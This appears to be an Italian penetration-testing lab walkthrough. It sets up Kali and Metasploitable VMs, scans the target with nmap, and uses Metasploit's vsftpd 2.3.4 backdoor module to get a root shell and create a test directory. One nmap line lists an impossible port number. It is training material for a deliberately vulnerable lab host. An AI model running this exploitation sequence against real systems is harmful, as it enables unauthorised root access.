

```

(root@kali)~[/home/kali]
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.150 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::a00:27ff:fe34:f4be prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:34:f4:be txqueuelen 1000 (Ethernet)
    RX packets 1594 bytes 112889 (110.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1905 bytes 141485 (138.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 43 bytes 3152 (3.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 43 bytes 3152 (3.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

Settare gli ip Kali linux con 192.168.1.150 e metasploitable con ip a 192.168.1.149.

```

5 packets transmitted, 5 received, 0% packet loss, time 4031ms
rtt min/avg/max/mdev = 0.260/0.322/0.411/0.060 ms
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:29:56:45
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe29:5645/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1891 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1682 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:146675 (143.2 KB)  TX bytes:114516 (111.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:446 errors:0 dropped:0 overruns:0 frame:0
          TX packets:446 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:176269 (172.1 KB)  TX bytes:176269 (172.1 KB)

msfadmin@metasploitable:~$ _

```

```

kali@kali: ~
root@kali: /home/kali

kali$ sudo nmap -sU
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 15:06 CET
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.05 seconds

kali@kali: ~
kali$ sudo su
(root@kali) - [/home/kali]
root@kali ~$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 15:11 CET
Nmap scan report for 192.168.1.149
Host is up (0.00046s latency).
Not shown: 976 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp           vsftpd 2.3.4
22/tcp    open  ssh           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp          Postfix smtpd
53/tcp    open  domain        ISC BIND 9.4.2
80/tcp    open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind       2 (RPC #100000)
139/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec          netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell         Netkit rshd
1099/tcp  open  java-rmi      GNU Classpath gmicore
1524/tcp  open  bindshell     Metasploitable root shell
2049/tcp  open  nfs           2-4 (RPC #100003)
2121/tcp  open  ftp           ProFTPD 1.3.1
3306/tcp  open  mysql         MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc           VNC (protocol 3.3)
6000/tcp  open  X11           (access denied)
6667/tcp  open  irc           UnrealIRCd
8009/tcp  open  ajp13?
8080/tcp  open  http          Apache Tomcat/Coyote JSP engine 1.1
90036/tcp open  java-rmi      GNU Classpath gmicore
MAC Address: 08:00:27:29:56:45 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 177.53 seconds

```

Effettuare scansione delle porte di metasploitable con nmap eseguendo il comando sopra riportato.

```
$ msfconsole
```

```
Metasploit tip: When in a module, use back to go back to the top level prompt
```

```
[*****]
[***** $a_ *****]
[***** $$ 7a_ *****]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[%-----%]
[*****]
[***** a_ $$$ *****]
[***** _a_ $$$ *****]
[***** -s *****]
[*****]
```

```
= [ metasploit v6.3.43-dev ]
+ -- ---[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- ---[ 1388 payloads - 46 encoders - 11 nops   ]
+ -- ---[ 9 evasion                               ]
```

```
Metasploit Documentation: https://docs.metasploit.com/
```

```
msf6 > search vsftpd
```

```
Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
```

```
[*] No payload configured, defaulting to cmd/unix/interact
```

Eseguire il comando `msfconsole` e successivamente digitare `search vsftpd`.

```

msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
CHOST      no               no        The local client address
CPORT      no               no        The local client port
Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
Id Name
--  ---
0  Automatic

Exploit target:

Id Name
--  ---
0  Automatic

```

Scegliere exploit/unix/... mettendo il nome del modulo con davanti il comando use.

Digitare il comando set RHOSTS e l'ip di metasploitable.

```

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
CHOST      no               no        The local client address
CPORT      no               no        The local client port
Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
Id Name
--  ---
0  Automatic

Exploit target:

Id Name
--  ---
0  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact               normal No     Unix Command, Interact with Established Connection

```

Controllare che sia stato settato con il comando show options

```
root@kali: /home/kali
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
=====
# Name                               Disclosure Date Rank Check Description
- ----                               -
0 payload/cmd/unix/interact          normal No    Unix Command, Interact with Established Connection
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:46779 -> 192.168.1.149:6200) at 2024-03-04 15:35:58 +0100

mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Creo la directory in metasploit su metasploit